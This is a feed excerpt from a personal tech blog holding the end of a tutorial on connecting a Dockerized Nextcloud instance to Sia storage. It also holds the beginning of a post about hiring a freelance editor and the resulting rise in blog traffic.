&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> --user www-data -it sianextcloud_nextcloud_1 php occ app:enable files_external
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="install-sia-nextcloud-app">Install Sia Nextcloud app&lt;/h3>
&lt;p>It&amp;rsquo;s time to install Nextcloud&amp;rsquo;s Sia app. Unfortunately, it is not possible to install a Nextcloud app via the command line, so you&amp;rsquo;ll need to perform these steps in a web browser.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Nextcloud &lt;a href="https://github.com/nextcloud/server/pull/5644">recently added support&lt;/a> for performing app installs on the command line, but it looks like the feature won&amp;rsquo;t be included in a Nextcloud release until version 13.0.
&lt;/div>

&lt;ol>
&lt;li>Open &lt;a href="http://localhost:8080">http://localhost:8080&lt;/a> in your browser to access the NextCloud web app.&lt;/li>
&lt;li>Enter the Nextcloud web app credentials you selected in the &lt;a href="#install-nextcloud">&amp;ldquo;Install Nextcloud&amp;rsquo;&lt;/a> step above. If you used the default credentials, this will be &lt;code>admin&lt;/code>/&lt;code>admin&lt;/code>.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 864px">
 
 
 
 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-login.png">
 &lt;img
 
 sizes="(min-width: 768px) 864px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-login_hu_96965277f2487f76.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-login_hu_aaafc884a4b85f6c.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-login_hu_5afdf8c9a18960ea.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-login.png 864w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-login.png" alt="Nextcloud login" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>At the Nextcloud home screen, click the gear icon in the upper right, then click &amp;ldquo;Apps&amp;rdquo;.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 864px">
 
 
 
 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-apps.png">
 &lt;img
 
 sizes="(min-width: 768px) 864px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-apps_hu_eef30a1118cfa611.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-apps_hu_9405eea01fe3b78.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-apps_hu_6047447df3005bd2.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-apps.png 864w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-apps.png" alt="Nextcloud apps button" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Click the &amp;ldquo;Tools&amp;rdquo; category in the left-hand menu.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 864px">
 
 
 
 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-tools.png">
 &lt;img
 
 sizes="(min-width: 768px) 864px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-tools_hu_a5f085c0d046f3f3.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-tools_hu_4f0aab81d358b541.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-tools_hu_f60d8a332c09eeb5.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-tools.png 864w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-tools.png" alt="Nextcloud apps button" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Scroll down to the &amp;ldquo;Sia storage report&amp;rdquo; app and click the &amp;ldquo;Enable&amp;rdquo; button below it.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 864px">
 
 
 
 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-enable-sia.png">
 &lt;img
 
 sizes="(min-width: 768px) 864px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-enable-sia_hu_9aaf0ec4eb4a7b30.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-enable-sia_hu_d1ec5bb195ed9ec6.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-enable-sia_hu_5a92790e840d35e9.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-enable-sia.png 864w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-enable-sia.png" alt="Nextcloud apps button" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;/ol>
&lt;h3 id="configure-sia-support">Configure Sia support&lt;/h3>
&lt;p>The last step of this process is connecting the Sia Nextcloud app to your Sia server instance. To do this, enter the commands below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> --user www-data -it sianextcloud_nextcloud_1 php occ files_external:create Sia sia null::null
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> --user www-data -it sianextcloud_nextcloud_1 php occ files_external:config &lt;span style="color:#3677a9">1&lt;/span> apiaddr siad_container:9980
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> --user www-data -it sianextcloud_nextcloud_1 php occ files_external:config &lt;span style="color:#3677a9">1&lt;/span> datadir /mnt/sia-uploads
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Your Sia Nextcloud integration is complete!&lt;/p>
&lt;p>If you open the Files tab of Nextcloud in your browser, you will see a Sia folder. Nextcloud will automatically back up all files in this folder to the Sia network.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 867px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-sia-folder.png">
 &lt;img
 
 sizes="(min-width: 768px) 867px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-sia-folder_hu_1bb0cfd30ec9d7ff.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-sia-folder_hu_fb9b7ea5245ec7a0.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-sia-folder_hu_bd58fec986a456d6.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-sia-folder.png 867w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-sia-folder.png" alt="Nextcloud Sia folder" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="using-sia-with-nextcloud">Using Sia with Nextcloud&lt;/h2>
&lt;h3 id="uploading-and-downloading-files">Uploading and downloading files&lt;/h3>
&lt;p>When you upload a file to the Sia folder in Nextcloud, the app copies it to the &lt;code>sia-uploads&lt;/code> folder you created earlier in the tutorial. Nextcloud then creates a backup of the file in the background by uploading it to the Sia network.&lt;/p>
&lt;p>To save space locally, you can delete files that have been fully uploaded to Sia. You can check which files Sia has fully backed up with the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac renter -v
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Renter info:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Storage Spending: 1.449 SC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Upload Spending: 48.65 mS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Download Spending: 3.887 mS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Unspent Funds: 217.7 SC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Total Allocated: 219.2 SC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Tracking 8 files:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>File size Available Progress Redundancy Renewing Sia path
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5.60 MB Yes 86.67% 2.60 Yes 08 Hospital Beds.mp3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>143.12 MB Yes 101.67% 3.00 Yes Futurama - s01e08 - A Big Piece Of Garbage.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>175.37 MB Yes 100.67% 3.00 Yes Futurama - s01e09 - Hell Is Other Robots.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 3.72 MB Yes 56.67% 1.70 Yes IMG_20170725_204611.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 3.37 MB Yes 100.00% 3.00 Yes IMG_20170725_204704.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 3.39 MB Yes 100.00% 3.00 Yes IMG_20170725_204727.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 3.64 MB Yes 96.67% 2.90 Yes IMG_20170725_204928.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 3.25 MB Yes 63.33% 1.90 Yes IMG_20170725_204944.jpg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Any file with a redundancy of 3.0 or greater is safe to delete from &lt;code>sia-uploads&lt;/code>.&lt;/p>
&lt;p>If you try to download or view a file that you deleted from &lt;code>sia-uploads&lt;/code>, the Sia Nextcloud app will automatically re-download the file to make it available to you locally, though this may take seconds to minutes depending on the size of the file and your Internet speed.&lt;/p>
&lt;h3 id="limitations">Limitations&lt;/h3>
&lt;h4 id="no-subfolders">No subfolders&lt;/h4>
&lt;p>While Sia natively allows users to create folders to organize their uploads, the Sia Nextcloud app &lt;a href="https://github.com/NebulousLabs/Sia-Nextcloud/issues/13">does not support folder creation&lt;/a>. The web app presents the option, but if you try adding a folder, it just says, &amp;ldquo;Could not create folder.&amp;rdquo;&lt;/p>
&lt;h4 id="no-in-app-text-editing">No in-app text editing&lt;/h4>
&lt;p>The Nextcloud app includes a barebones text editor for editing plaintext files within your cloud storage folder. Unfortunately, this does not work on files within the Sia folder. If you try to edit a text file in your Sia folder, Nextcloud presents you with a barrage of angry error messages and does not save any of your attempted edits.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>This tutorial showed you how to deploy your own instance of Nextcloud and add low-cost file backup with Sia.&lt;/p>
&lt;p>I expect more and more apps to integrate with Sia in the coming months. A few days ago, &lt;a href="https://archive.is/Ra4Y9">Sia announced&lt;/a> a new integration with &lt;a href="https://www.minio.io/">Minio&lt;/a>, a distributed object storage server. The techniques you used in this tutorial will help you deploy other apps and integrate them with Sia.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Update&lt;/strong> (2017-09-13): The Minio integration is &lt;a href="https://github.com/minio/minio/pull/4802">almost complete&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>How I Hired a Freelance Editor for My Blog</title><link>https://mtlynch.io/editor/</link><pubDate>Tue, 25 Jul 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/editor/</guid><description>&lt;h2 id="a-year-in-blogging">A year in blogging&lt;/h2>
&lt;p>I started this blog in May of last year. I don&amp;rsquo;t mean to brag, but by last April, after less than a year of blogging, I was pulling in upwards of &lt;strong>20 visitors per day&lt;/strong>, several of whom were not spam bots. That number reached as high as &lt;strong>50 visitors&lt;/strong> on days when I made a new post and begged for readers through every social media channel at my disposal.&lt;/p></description><content:encoded>&lt;h2 id="a-year-in-blogging">A year in blogging&lt;/h2>
&lt;p>I started this blog in May of last year. I don&amp;rsquo;t mean to brag, but by last April, after less than a year of blogging, I was pulling in upwards of &lt;strong>20 visitors per day&lt;/strong>, several of whom were not spam bots. That number reached as high as &lt;strong>50 visitors&lt;/strong> on days when I made a new post and begged for readers through every social media channel at my disposal.&lt;/p>
&lt;p>The size of my audience changed a bit in May 2017. The sharp-eyed reader may be able to spot the subtle shift in my traffic graph:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1288px">



 &lt;a href="https://mtlynch.io/editor/full-traffic-graph.png">
 &lt;img
 
 sizes="(min-width: 768px) 1288px, 98vw"
 srcset='https://mtlynch.io/editor/full-traffic-graph_hu_d8960ccc6d77bbfd.png 300w, https://mtlynch.io/editor/full-traffic-graph_hu_32f1ed8638cabb74.png 600w, https://mtlynch.io/editor/full-traffic-graph_hu_d492c8477622c178.png 800w, https://mtlynch.io/editor/full-traffic-graph_hu_46a42c3c15074963.png 1200w, https://mtlynch.io/editor/full-traffic-graph.png 1288w'
 src="https://mtlynch.io/editor/full-traffic-graph.png" alt="Blog traffic graphs" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Number of unique readers visiting &lt;a href="https://mtlynch.io/">mtlynch.io&lt;/a> per week&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>As you notice from the chart above, my numbers went from &amp;ldquo;too insignificant to appear in a graph&amp;rdquo; for most of the first year of the blog&amp;rsquo;s existence to over 9,000 readers per week starting last May. From that point on, when I published a new post, the blog received up to 40,000 visitors per week.&lt;/p>
&lt;p>If I compare by month, the blog grew by more than 20x month over month, and by more than &lt;strong>450x&lt;/strong> over a two month period:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th style="text-align: center">Month&lt;/th>
 &lt;th style="text-align: center">Unique visitors&lt;/th>
 &lt;th style="text-align: center">Growth (one month)&lt;/th>
 &lt;th style="text-align: center">Growth (two months)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td style="text-align: center">April 2017&lt;/td>
 &lt;td style="text-align: center">251&lt;/td>
 &lt;td style="text-align: center">—&lt;/td>
 &lt;td style="text-align: center">—&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td style="text-align: center">May 2017&lt;/td>
 &lt;td style="text-align: center">5,572&lt;/td>
 &lt;td style="text-align: center">2,119% / 22x&lt;/td>
 &lt;td style="text-align: center">—&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td style="text-align: center">June 2017&lt;/td>
 &lt;td style="text-align: center">113,121&lt;/td>
 &lt;td style="text-align: center">1,930% / 20x&lt;/td>
 &lt;td style="text-align: center">&lt;strong>44,968% / 450x&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="what-changed">What changed?&lt;/h2>













 








 
 
 

 
 
 






&lt;div class="img align-right" style="max-width: 398px">



 &lt;a href="https://mtlynch.io/editor/editing-job-post.png">
 &lt;img
 
 sizes="(min-width: 768px) 398px, 98vw"
 srcset='https://mtlynch.io/editor/editing-job-post_hu_f542c8e8443c5a31.png 300w, https://mtlynch.io/editor/editing-job-post_hu_35cf30c9575a5628.png 600w, https://mtlynch.io/editor/editing-job-post.png 723w'
 src="https://mtlynch.io/editor/editing-job-post.png" alt="Job posting for editing position" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Just before I went to bed on May 13, 2017, I posted a job for a blog editor on Upwork, a site I use regularly for hiring freelancers. Not a permanent position, just a one-time gig to read through my already posted articles, identify weak patterns in my writing, and suggest improvements.&lt;/p>
&lt;p>When I woke up the next morning, I had already received applications from 10 different freelancers. Several of the matches seemed strong. The applicant pool included PhDs, journalists, and writing teachers.&lt;/p>
&lt;p>Some of the matches were&amp;hellip; not so strong. The lowest bidder, at $8/hr, told me she was, &amp;ldquo;well-equipped with knowledge how to teach writing.&amp;rdquo; Another freelancer mentioned in her cover letter that, &amp;ldquo;editing and writing are [her] forte&amp;rsquo;s [sic].&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img align-left" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/editor/samantha-profile.png">
 &lt;img
 
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/editor/samantha-profile_hu_67231a02b3a4a8ab.png 300w, https://mtlynch.io/editor/samantha-profile_hu_662e95687c2f80bf.png 600w, https://mtlynch.io/editor/samantha-profile.png 764w'
 src="https://mtlynch.io/editor/samantha-profile.png" alt="Job posting for editing position" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The strongest applicant was an editor named &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>. At $55/hr, she was almost twice as expensive as the next highest bidder. But her response was the only one that showed that she had actually read any of my writing. In her cover letter, she pointed out that I had a habit of diluting my sentences with helper verbs. &amp;ldquo;As you &lt;strong>can see&lt;/strong> in the graph below,&amp;rdquo; instead of simply, &amp;ldquo;As you &lt;strong>see&lt;/strong> in the graph below.&amp;rdquo;&lt;/p>
&lt;p>Samantha was also a great match because she had a background in engineering. She told me that she was a programmer as well, so I thought this would give her additional context into my more software-heavy posts.&lt;/p>
&lt;p>I offered Samantha the job that same morning. By 10 AM, she accepted. The entire process from writing the job posting to completing the hire took less than 12 hours.&lt;/p>
&lt;div class="notice notice-info">
 Note: Because this entire post is about editing and Samantha&amp;rsquo;s work specifically, it felt appropriate for her to edit this piece &lt;del>, so if all of my negative comments about her have been removed, that&amp;rsquo;s why&lt;/del>.
&lt;/div>

&lt;h2 id="why-hire-an-editor">Why hire an editor?&lt;/h2>
&lt;p>When I publish a blog post and it flops, I don&amp;rsquo;t get much feedback about &lt;em>why&lt;/em> it was unsuccessful. To date, none of my readers have written to say, &amp;ldquo;Hey, you had great ideas in that post, but I never read them because your repetitive sentence structure lost my attention, and I closed the tab.&amp;rdquo; An editor actually &lt;em>can&lt;/em> give me that kind of feedback.&lt;/p>
&lt;p>I felt that my writing was pretty good but definitely had room for improvement. Changes to my style could have tangible benefits like a larger audience and readers gaining a better understanding of the content.&lt;/p>
&lt;p>Beyond my blog, investing in my writing would pay dividends in many aspects of my life. Writing is a highly transferable skill, much like public speaking, time management, or knife juggling. Techniques I learned to better my blog writing would likely carry over into design documents I write at work or even emails I send to friends.&lt;/p>













 















&lt;figure class="img align-right" style="max-width: 230px">



 &lt;a href="https://mtlynch.io/editor/colbert-eyebrow-raise.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 230px, 98vw"
 srcset='https://mtlynch.io/editor/colbert-eyebrow-raise.jpg 230w'
 src="https://mtlynch.io/editor/colbert-eyebrow-raise.jpg" alt="Colbert with eyebrow raised" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“Your &lt;em>editor&lt;/em>, you say?”&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My other reason for hiring an editor was the most important: to give my friends, family, and co-workers a misleadingly grandiose perception of my blog. Before, when I told someone that I wrote a new blog post about &lt;a href="https://mtlynch.io/testing-ansible-selenium/">using Selenium to test Ansible roles&lt;/a>, they nodded politely and changed the subject. But when I started saying things like, &amp;ldquo;I&amp;rsquo;m rewriting my new post because my editor thinks that the introduction is too weak,&amp;rdquo; people became intrigued. &amp;ldquo;Your &lt;em>editor&lt;/em>?&amp;rdquo;&lt;/p>
&lt;h2 id="learning-from-my-mistakes">Learning from my mistakes&lt;/h2>
&lt;p>A few days after I hired her, Samantha sent me detailed feedback on two of my blog posts. As soon as I read her notes, I knew that hiring an editor was a good decision. She identified several mistakes that I had no idea I was making. It started with small things, like incorrect use of commas or overuse of parentheticals (I used to have a habit of inserting them into sentences to cram in information that wasn&amp;rsquo;t worth mentioning).&lt;/p>
&lt;p>One surprising insight was how frequently I made the assumption that my readers shared my frame of reference. Samantha noted that in one post, I mentioned &lt;a href="https://www.seamless.com">Seamless&lt;/a> without explaining what it was. Seamless is a food delivery service: extremely popular in Manhattan, not so popular in Wisconsin, where Samantha lives. When I mentioned it in the post, it never occurred to me that someone might not know the company. Samantha&amp;rsquo;s note made me realize how frequently I was alienating my audience when I could easily avoid this by being conscious of potentially unfamiliar references.&lt;/p>
&lt;h2 id="what-are-you-trying-to-accomplish-with-this-story">What are you trying to accomplish with this story?&lt;/h2>
&lt;p>The most valuable advice Samantha gave me was in response to a post where I described &lt;a href="https://mtlynch.io/taskrabbit-cooking/">using an odd job service to hire a private chef&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>What are you trying to accomplish with this story? If it’s just the facts, you’ve done that, but I think you can do more. This is creative writing. Have fun with it. Make the reader laugh. Make the reader want to keep reading.&lt;/p>&lt;/blockquote>
&lt;p>My first thought was, &amp;ldquo;What &lt;em>story&lt;/em>? This is just an explanation of what I did.&amp;rdquo; I wrote the post because I had told a few friends about how I hired my chef. People seemed amused by the process, and they were interested in the logistics of it: &amp;ldquo;How much did it cost? How did you pick the chef?&amp;rdquo; It seemed natural to me that a blog post would simply answer those questions.&lt;/p>
&lt;p>After letting the suggestion roll around in my head for a few days, I thought, &amp;ldquo;Why &lt;em>can&amp;rsquo;t&lt;/em> it be a story? People love stories.&amp;rdquo; I had a backlog of ideas for article topics, so I thought about whether I could write any of them in the form of a story.&lt;/p>
&lt;h2 id="telling-it-like-a-story">Telling it like a story&lt;/h2>
&lt;p>A few weeks later, I was browsing reddit when I saw a user post a corrupted version of their password. The password was protecting a large sum of money they held in cryptocurrency, so they posted it in frustration because a corrupt password effectively meant they lost their money. I figured out a clever way of reconstructing the correct password and used it to steal their money. Don&amp;rsquo;t worry; I gave it back.&lt;/p>
&lt;p>The technique I used was unusual, so over the following week, I thought about how to write it up for the blog. Then it hit me: this could be one of those &amp;ldquo;stories&amp;rdquo; that Samantha had been telling me about.&lt;/p>
&lt;p>I wrote the article on a Thursday night in a non-stop, four-hour writing session. I never had so much fun writing a blog post. It was silly and self-effacing and included tongue-in-cheek pop culture references — all qualities that my previous blog posts lacked. I knew that presenting it in story format might make it more compelling to read, but I hadn&amp;rsquo;t anticipated how much easier it would make the article to write.&lt;/p>
&lt;p>The next morning, I published the article, &lt;a href="https://mtlynch.io/stole-siacoins/">&amp;ldquo;How I Stole Your Siacoin,&amp;rdquo;&lt;/a> and posted the link to &lt;a href="https://reddit.com">reddit&lt;/a> and &lt;a href="https://news.ycombinator.com/">Hacker News&lt;/a>, two popular link-sharing sites. By the end of the day, it was the most upvoted story of all-time on two of reddit&amp;rsquo;s subforums, &lt;a href="https://www.reddit.com/r/Siacoin/top/">/r/siacoin&lt;/a> and &lt;a href="https://www.reddit.com/r/CryptoCurrency/top/">/r/cryptocurrency&lt;/a> (though a few days later, I was shamefully bumped from the #1 spot on /r/CryptoCurrency by &lt;a href="https://www.reddit.com/r/CryptoCurrency/comments/6i5ibl/its_happening/">a picture of a sign&lt;/a>). It had also gained enough traction on Hacker News to make it to their front page, an enviable accomplishment for tech bloggers.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1325px">



 &lt;a href="https://mtlynch.io/editor/stole-siacoin-stats.png">
 &lt;img
 
 sizes="(min-width: 768px) 1325px, 98vw"
 srcset='https://mtlynch.io/editor/stole-siacoin-stats_hu_dd34989a16fe82d7.png 300w, https://mtlynch.io/editor/stole-siacoin-stats_hu_9ed3a22f872ed2ea.png 600w, https://mtlynch.io/editor/stole-siacoin-stats_hu_7b9e1c91310ac8d7.png 800w, https://mtlynch.io/editor/stole-siacoin-stats_hu_332b81789325ff64.png 1200w, https://mtlynch.io/editor/stole-siacoin-stats.png 1325w'
 src="https://mtlynch.io/editor/stole-siacoin-stats.png" alt="Visitor stats for How I Stole Your Siacoin post" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Blog visitor statistics on the day that &lt;a href="https://mtlynch.io/stole-siacoins/">&amp;ldquo;How I Stole Your Siacoin&amp;rdquo;&lt;/a> was published.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I also noticed something interesting about the comments on the article. Many of them specifically praised the &lt;em>style&lt;/em> of my writing:&lt;/p>




















 
 
 

 
 
 






&lt;figure class="img" style="max-width: 760px">



 &lt;a href="https://mtlynch.io/editor/reddit-comments.png">
 &lt;img
 
 sizes="(min-width: 768px) 760px, 98vw"
 srcset='https://mtlynch.io/editor/reddit-comments_hu_36c164074ac731a1.png 300w, https://mtlynch.io/editor/reddit-comments_hu_e8e666c78450be2b.png 600w, https://mtlynch.io/editor/reddit-comments.png 760w'
 src="https://mtlynch.io/editor/reddit-comments.png" alt="Reddit comments" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Positive comments on the writing style of “How I Stole Your Siacoin.” Creating this collage does not count as narcissism because I&amp;rsquo;m doing it for a blog post.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I browse reddit frequently, and I don&amp;rsquo;t recall seeing many users compliment submissions on their writing — though it should be noted that I don&amp;rsquo;t recognize praise unless it&amp;rsquo;s directed at me. The feedback seemed like such clear validation of my decision to hire an editor that I almost had to wonder if Samantha was surreptitiously posting these comments herself. &lt;em>[&lt;strong>Editor&amp;rsquo;s note&lt;/strong>: There is no evidence to support this allegation.]&lt;/em>&lt;/p>
&lt;h2 id="before-and-after">Before and after&lt;/h2>
&lt;p>You&amp;rsquo;re probably thinking, &amp;ldquo;That&amp;rsquo;s just one article. He probably got lucky.&amp;rdquo; Or at least that&amp;rsquo;s what I thought after the article got much more attention than I was expecting. But the next article I published received a similarly positive response. I certainly don&amp;rsquo;t think every article I write will be a hit, but it&amp;rsquo;s clear to me that receiving expert feedback has made such popularity possible, when it previously was not.&lt;/p>
&lt;p>If you compare the visitor statistics for the three articles I published before working with Samantha to the three I wrote after, the difference is unmistakable:&lt;/p>
&lt;h3 id="before-working-with-an-editor">Before working with an editor&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Article&lt;/th>
 &lt;th style="text-align: center">Readers (First 24 hours)&lt;/th>
 &lt;th style="text-align: center">Readers (First 30 days)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/prosperbot/">&amp;ldquo;Automated Prosper Investing with ProsperBot&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td style="text-align: center">21&lt;/td>
 &lt;td style="text-align: center">95&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/taskrabbit-cooking/">&amp;ldquo;Adventures in Outsourcing: Cooking with TaskRabbit&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td style="text-align: center">15&lt;/td>
 &lt;td style="text-align: center">88&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/building-a-vm-homelab/">&amp;ldquo;Building a Homelab VM Server&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td style="text-align: center">414&lt;/td>
 &lt;td style="text-align: center">1,103&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="after-working-with-an-editor">After working with an editor&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Article&lt;/th>
 &lt;th style="text-align: center">Readers (First 24 hours)&lt;/th>
 &lt;th style="text-align: center">Readers (First 30 days)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/windows-sia-mining/">&amp;ldquo;A Beginner’s Guide to Mining Siacoin&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td style="text-align: center">709&lt;/td>
 &lt;td style="text-align: center">27,871&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/stole-siacoins/">&amp;ldquo;How I Stole Your Siacoin&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td style="text-align: center">38,808&lt;/td>
 &lt;td style="text-align: center">62,425&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/greenpithumb/">&amp;ldquo;GreenPiThumb: A Raspberry Pi Gardening Bot&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td style="text-align: center">27,908&lt;/td>
 &lt;td style="text-align: center">38,683&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="cost">Cost&lt;/h2>
&lt;p>As I mentioned earlier, I didn&amp;rsquo;t set out to hire someone to edit my articles on an ongoing basis. At ~$110 per article, the cost was too high to have every new blog post I write professionally edited. Instead, I wanted a one-time review of my writing so that I could apply the techniques myself.&lt;/p>
&lt;p>I feel that this plan worked. Of the three articles I wrote after I started working with Samantha, she only edited the GreenPiThumb post. The others, I edited myself based on what I had learned from her previous feedback.&lt;/p>
&lt;p>With Samantha&amp;rsquo;s permission, I&amp;rsquo;ve included below the exact cost of the work she did with me and the notes that she provided for each article:&lt;/p>
&lt;table>
 &lt;thead>
